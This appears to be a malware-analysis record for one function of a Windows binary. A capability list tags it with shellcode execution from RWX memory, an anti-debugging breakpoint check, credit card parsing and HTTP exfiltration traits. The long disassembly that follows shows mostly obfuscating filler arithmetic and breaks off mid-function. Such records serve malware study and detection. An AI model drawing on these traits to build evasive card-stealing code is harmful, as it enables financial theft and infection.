Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Check http status code
Connect to http server
Create http request
Execute shellcode via indirect call
Link many functions at runtime
Parse credit card information
Parse pe header
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push rbp
push rbx
mov eax, 0x1dc8
call fcn.14001a410
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x1d30], xmm6
mov dword [rbp + 0x1d60], ecx
mov qword [rbp + 0x1d68], rdx
call fcn.140019460
mov dword [rbp + 0x124c], 1
mov ecx, 0x238
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1240], rax
mov qword [rbp + 0x1d20], 2
jmp 0x140001523
mov rax, qword [rbp + 0x1d20]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1240]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x1d20], 1
cmp qword [rbp + 0x1d20], 0x8d
jbe 0x1400014fc
mov qword [rbp + 0x1d20], 2
jmp 0x1400015ba
mov rax, qword [rbp + 0x1d20]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1240]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400015b2
mov rax, qword [rbp + 0x1d20]
mov qword [rbp + 0x1d18], rax
jmp 0x14000159b
mov rax, qword [rbp + 0x1d20]
imul rax, qword [rbp + 0x1d18]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1240]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x1d18], 1
mov rax, qword [rbp + 0x1d20]
imul rax, qword [rbp + 0x1d18]
cmp rax, 0x8d
jbe 0x14000156c
add qword [rbp + 0x1d20], 1
cmp qword [rbp + 0x1d20], 0x8d
jbe 0x14000153d
mov rax, qword [rbp + 0x1240]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x123c], 0
mov ecx, 0x960
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1230], rax
mov ecx, 0x960
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1228], rax
mov ecx, 0x960
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1220], rax
mov dword [rbp + 0x1d14], 0
jmp 0x14000170a
mov dword [rbp + 0x1d10], 0
jmp 0x1400016f6
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1d14]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x1230]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1d10]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1d14]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x1228]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1d10]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1d10], 1
cmp dword [rbp + 0x1d10], 0x1d
jle 0x140001635
add dword [rbp + 0x1d14], 1
cmp dword [rbp + 0x1d14], 0x13
jle 0x140001626
mov dword [rbp + 0x1d14], 0
jmp 0x1400017e7
mov dword [rbp + 0x1d10], 0
jmp 0x1400017d3
mov eax, dword [rbp + 0x1d14]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1230]
add rdx, rax
mov eax, dword [rbp + 0x1d10]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1d14]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1228]
add rdx, rax
mov eax, dword [rbp + 0x1d10]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1d14]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1220]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x1d10]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1d10], 1
cmp dword [rbp + 0x1d10], 0x1d
jle 0x140001735
add dword [rbp + 0x1d14], 1
cmp dword [rbp + 0x1d14], 0x13
jle 0x140001726
mov rax, qword [rbp + 0x1230]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1228]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1220]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x660
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1218], rax
mov dword [rbp + 0x1d0c], 0
jmp 0x14000188c
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140022118]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x1d0c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1218]
add rax, rdx
movsd xmm1, qword [0x140022120]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x1d0c], 1
cmp dword [rbp + 0x1d0c], 0xcb
jle 0x14000183e
mov dword [rbp + 0x1d0c], 0
jmp 0x1400018f6
mov eax, dword [rbp + 0x1d0c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1218]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1d0c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1218]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x1d0c], 1
cmp dword [rbp + 0x1d0c], 0xcb
jle 0x1400018a4
mov dword [rbp + 0x1d08], 0xffffffff
add dword [rbp + 0x1d08], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 3
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x1214], edx
mov edx, dword [rbp + 0x1214]
imul edx, edx, 0x1a
sub eax, edx
mov dword [rbp + 0x1214], eax
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140022118]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x1214]
movq xmm0, rax
call fcn.14001aad0
movq rax, xmm0
mov qword [rbp + 0x1208], rax
cmp dword [rbp + 0x1d08], 0x20
jle 0x14000190c
mov dword [rbp + 0x1d00], 0x8c
mov dword [rbp + 0x1d04], 0x8c
jmp 0x1400019ae
sub dword [rbp + 0x1d00], 1
sub dword [rbp + 0x1d04], 1
cmp dword [rbp + 0x1d04], 0x42
jg 0x1400019a0
mov ecx, 0x668
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1200], rax
mov dword [rbp + 0x1cfc], 0
jmp 0x140001a22
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140022118]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x1cfc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1200]
add rax, rdx
movsd xmm1, qword [0x140022120]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x1cfc], 1
cmp dword [rbp + 0x1cfc], 0xcc
jle 0x1400019d4
mov dword [rbp + 0x1cfc], 0
jmp 0x140001a89
mov eax, dword [rbp + 0x1cfc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1200]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x1cfc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1200]
add rax, rdx
movq xmm1, qword [0x140022130]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x1cfc], 1
cmp dword [rbp + 0x1cfc], 0xcc
jle 0x140001a3a
mov dword [rbp + 0x11fc], 0
mov ecx, 0x1518
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x11f0], rax
mov ecx, 0x1518
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x11e8], rax
mov ecx, 0x1518
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x11e0], rax
mov dword [rbp + 0x1cf8], 0
jmp 0x140001bc5
mov dword [rbp + 0x1cf4], 0
jmp 0x140001bb1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1cf8]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x11f0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1cf4]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1cf8]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x11e8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1cf4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1cf4], 1
cmp dword [rbp + 0x1cf4], 0x1d
jle 0x140001af0
add dword [rbp + 0x1cf8], 1
cmp dword [rbp + 0x1cf8], 0x2c
jle 0x140001ae1
mov dword [rbp + 0x1cf8], 0
jmp 0x140001ca2
mov dword [rbp + 0x1cf4], 0
jmp 0x140001c8e
mov eax, dword [rbp + 0x1cf8]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x11f0]
add rdx, rax
mov eax, dword [rbp + 0x1cf4]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1cf8]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x11e8]
add rdx, rax
mov eax, dword [rbp + 0x1cf4]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1cf8]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x11e0]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x1cf4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1cf4], 1
cmp dword [rbp + 0x1cf4], 0x1d
jle 0x140001bf0
add dword [rbp + 0x1cf8], 1
cmp dword [rbp + 0x1cf8], 0x2c
jle 0x140001be1
mov rax, qword [rbp + 0x11f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x11e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0xf68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x11d8], rax
mov dword [rbp + 0x1cf0], 0
jmp 0x140001d47
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140022118]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x1cf0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x11d8]
add rax, rdx
movsd xmm1, qword [0x140022120]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x1cf0], 1
cmp dword [rbp + 0x1cf0], 0x1ec
jle 0x140001cf9
mov dword [rbp + 0x1cf0], 0
jmp 0x140001db1
mov eax, dword [rbp + 0x1cf0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x11d8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1cf0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x11d8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x1cf0], 1
cmp dword [rbp + 0x1cf0], 0x1ec
jle 0x140001d5f
mov ecx, 0xd98
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x11d0], rax
mov ecx, 0xd98
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x11c8], rax
mov ecx, 0xd98
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x11c0], rax
mov dword [rbp + 0x1cec], 0
jmp 0x140001ee3
mov dword [rbp + 0x1ce8], 0
jmp 0x140001ecf
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1cec]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x11d0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1ce8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1cec]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x11c8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1ce8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1ce8], 1
cmp dword [rbp + 0x1ce8], 0x1d
jle 0x140001e0e
add dword [rbp + 0x1cec], 1
cmp dword [rbp + 0x1cec], 0x1c
jle 0x140001dff
mov dword [rbp + 0x1cec], 0
jmp 0x140001fc0
mov dword [rbp + 0x1ce8], 0
jmp 0x140001fac
mov eax, dword [rbp + 0x1cec]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x11d0]
add rdx, rax
mov eax, dword [rbp + 0x1ce8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1cec]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x11c8]
add rdx, rax
mov eax, dword [rbp + 0x1ce8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1cec]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x11c0]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x1ce8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1ce8], 1
cmp dword [rbp + 0x1ce8], 0x1d
jle 0x140001f0e
add dword [rbp + 0x1cec], 1
cmp dword [rbp + 0x1cec], 0x1c
jle 0x140001eff
mov rax, qword [rbp + 0x11d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x11c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x11c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x1ce4], 0xffffffff
mov ecx, 0x2d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x11b8], rax
add dword [rbp + 0x1ce4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140022118]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x1ce4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x11b8]
add rax, rdx
movsd xmm1, qword [0x140022120]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x1ce4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x11b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1ce4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x11b8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x1ce4], 0x59
jle 0x140002015
mov ecx, 0xaf8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x11b0], rax
mov dword [rbp + 0x1ce0], 0
jmp 0x140002116
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x1ce0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x11b0]
add rax, rdx
movsd xmm1, qword [0x140022118]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x1ce0], 1
cmp dword [rbp + 0x1ce0], 0x15e
jle 0x1400020d8
mov dword [rbp + 0x1ce0], 0
jmp 0x1400021b3
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x1ce0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x11b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1ce0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x11b0]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.14001aaa0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x1ce0], 1
cmp dword [rbp + 0x1ce0], 0x15e
jle 0x140002131
mov dword [rbp + 0x1cd8], 0x46
mov dword [rbp + 0x1cdc], 0x46
jmp 0x1400021e7
sub dword [rbp + 0x1cd8], 1
sub dword [rbp + 0x1cdc], 1
cmp dword [rbp + 0x1cdc], 0x4a
jg 0x1400021d9
mov dword [rbp + 0x11ac], 0
mov ecx, 0xef4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x11a0], rax
mov ecx, 0xef4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1198], rax
mov ecx, 0xef4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1190], rax
mov dword [rbp + 0x1cd4], 0
jmp 0x14000230a
mov dword [rbp + 0x1cd0], 0
jmp 0x1400022f6
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1cd4]
cdqe
imul rcx, rax, 0x74
mov rax, qword [rbp + 0x11a0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1cd0]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1cd4]
cdqe
imul rcx, rax, 0x74
mov rax, qword [rbp + 0x1198]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1cd0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1cd0], 1
cmp dword [rbp + 0x1cd0], 0x1c
jle 0x14000224b
add dword [rbp + 0x1cd4], 1
cmp dword [rbp + 0x1cd4], 0x20
jle 0x14000223c
mov dword [rbp + 0x1cd4], 0
jmp 0x1400023d8
mov dword [rbp + 0x1cd0], 0
jmp 0x1400023c4
mov eax, dword [rbp + 0x1cd4]
cdqe
imul rdx, rax, 0x74
mov rax, qword [rbp + 0x11a0]
add rdx, rax
mov eax, dword [rbp + 0x1cd0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1cd4]
cdqe
imul rdx, rax, 0x74
mov rax, qword [rbp + 0x1198]
add rdx, rax
mov eax, dword [rbp + 0x1cd0]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movq xmm0, rax
call fcn.14001a470
mov eax, dword [rbp + 0x1cd4]
cdqe
imul rdx, rax, 0x74
mov rax, qword [rbp + 0x1190]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x1cd0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1cd0], 1
cmp dword [rbp + 0x1cd0], 0x1c
jle 0x140002335
add dword [rbp + 0x1cd4], 1
cmp dword [rbp + 0x1cd4], 0x20
jle 0x140002326
mov rax, qword [rbp + 0x11a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1198]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1190]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0xd4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1188], rax
mov dword [rbp + 0x1ccc], 0
jmp 0x1400024b9
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x1ccc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1188]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x1ccc], 1
cmp dword [rbp + 0x1ccc], 0x34
jle 0x140002432
mov dword [rbp + 0x1ccc], 0
jmp 0x1400025b4
cmp dword [rbp + 0x1ccc], 0
je 0x14000251f
mov eax, dword [rbp + 0x1ccc]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1188]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x1ccc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1188]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x14000252b
add dword [rbp + 0x1ccc], 1
jmp 0x1400025b4
mov eax, dword [rbp + 0x1ccc]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1188]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp - 0x34], xmm0
mov eax, dword [rbp + 0x1ccc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1188]
add rdx, rax
mov eax, dword [rbp + 0x1ccc]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x1188]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x1ccc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1188]
add rax, rdx
movss xmm0, dword [rbp - 0x34]
movss dword [rax], xmm0
sub dword [rbp + 0x1ccc], 1
cmp dword [rbp + 0x1ccc], 0x34
jle 0x1400024d5
mov rax, qword [rbp + 0x1188]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x1cc8], 0
jmp 0x140002648
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff84210843
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp - 0x24], edx
mov ecx, dword [rbp - 0x24]
mov edx, ecx
shl edx, 5
sub edx, ecx
sub eax, edx
mov dword [rbp - 0x24], eax
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140022118]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp - 0x24]
movq xmm0, rax
call fcn.14001aad0
movq rax, xmm0
mov qword [rbp - 0x30], rax
add dword [rbp + 0x1cc8], 1
cmp dword [rbp + 0x1cc8], 0x14b
jle 0x1400025dc
mov ecx, 0x438
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1180], rax
mov dword [rbp + 0x1cc4], 0
mov dword [rbp + 0x117c], 1
mov dword [rbp + 0x1cc0], 0
jmp 0x140002700
mov dword [rbp + 0x1cbc], 0
jmp 0x1400026f0
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x1cc0]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x1180]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x1cbc]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x1cbc], 1
cmp dword [rbp + 0x1cbc], 0xe
jle 0x140002691
add dword [rbp + 0x1cc0], 1
cmp dword [rbp + 0x1cc0], 0x11
jle 0x140002685
mov dword [rbp + 0x1cc0], 0
jmp 0x140002776
mov dword [rbp + 0x1cbc], 0
jmp 0x140002766
mov eax, dword [rbp + 0x1cc0]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x1180]
add rdx, rax
mov eax, dword [rbp + 0x1cbc]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x14000275f
add dword [rbp + 0x1cc4], 1
add dword [rbp + 0x1cbc], 1
cmp dword [rbp + 0x1cbc], 0xe
jle 0x140002725
add dword [rbp + 0x1cc0], 1
cmp dword [rbp + 0x1cc0], 0x11
jle 0x140002719
cmp dword [rbp + 0x1cc4], 0x87
je 0x140002795
mov dword [rbp + 0x117c], 0
mov rax, qword [rbp + 0x1180]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x5c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1170], rax
mov dword [rbp + 0x1cb8], 0
jmp 0x14000284d
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x1cb8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1170]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x1cb8], 1
cmp dword [rbp + 0x1cb8], 0x16
jle 0x1400027c4
mov dword [rbp + 0x1cb8], 0
jmp 0x14000295e
mov dword [rbp - 0x1c], 0
jmp 0x140002943
mov eax, dword [rbp + 0x1cb8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1170]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp - 0x1c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1170]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x14000293c
mov eax, dword [rbp - 0x1c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1170]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp - 0x20], xmm0
mov eax, dword [rbp + 0x1cb8]
cdqe
add rax, 1
lea rdx, [rax*4]
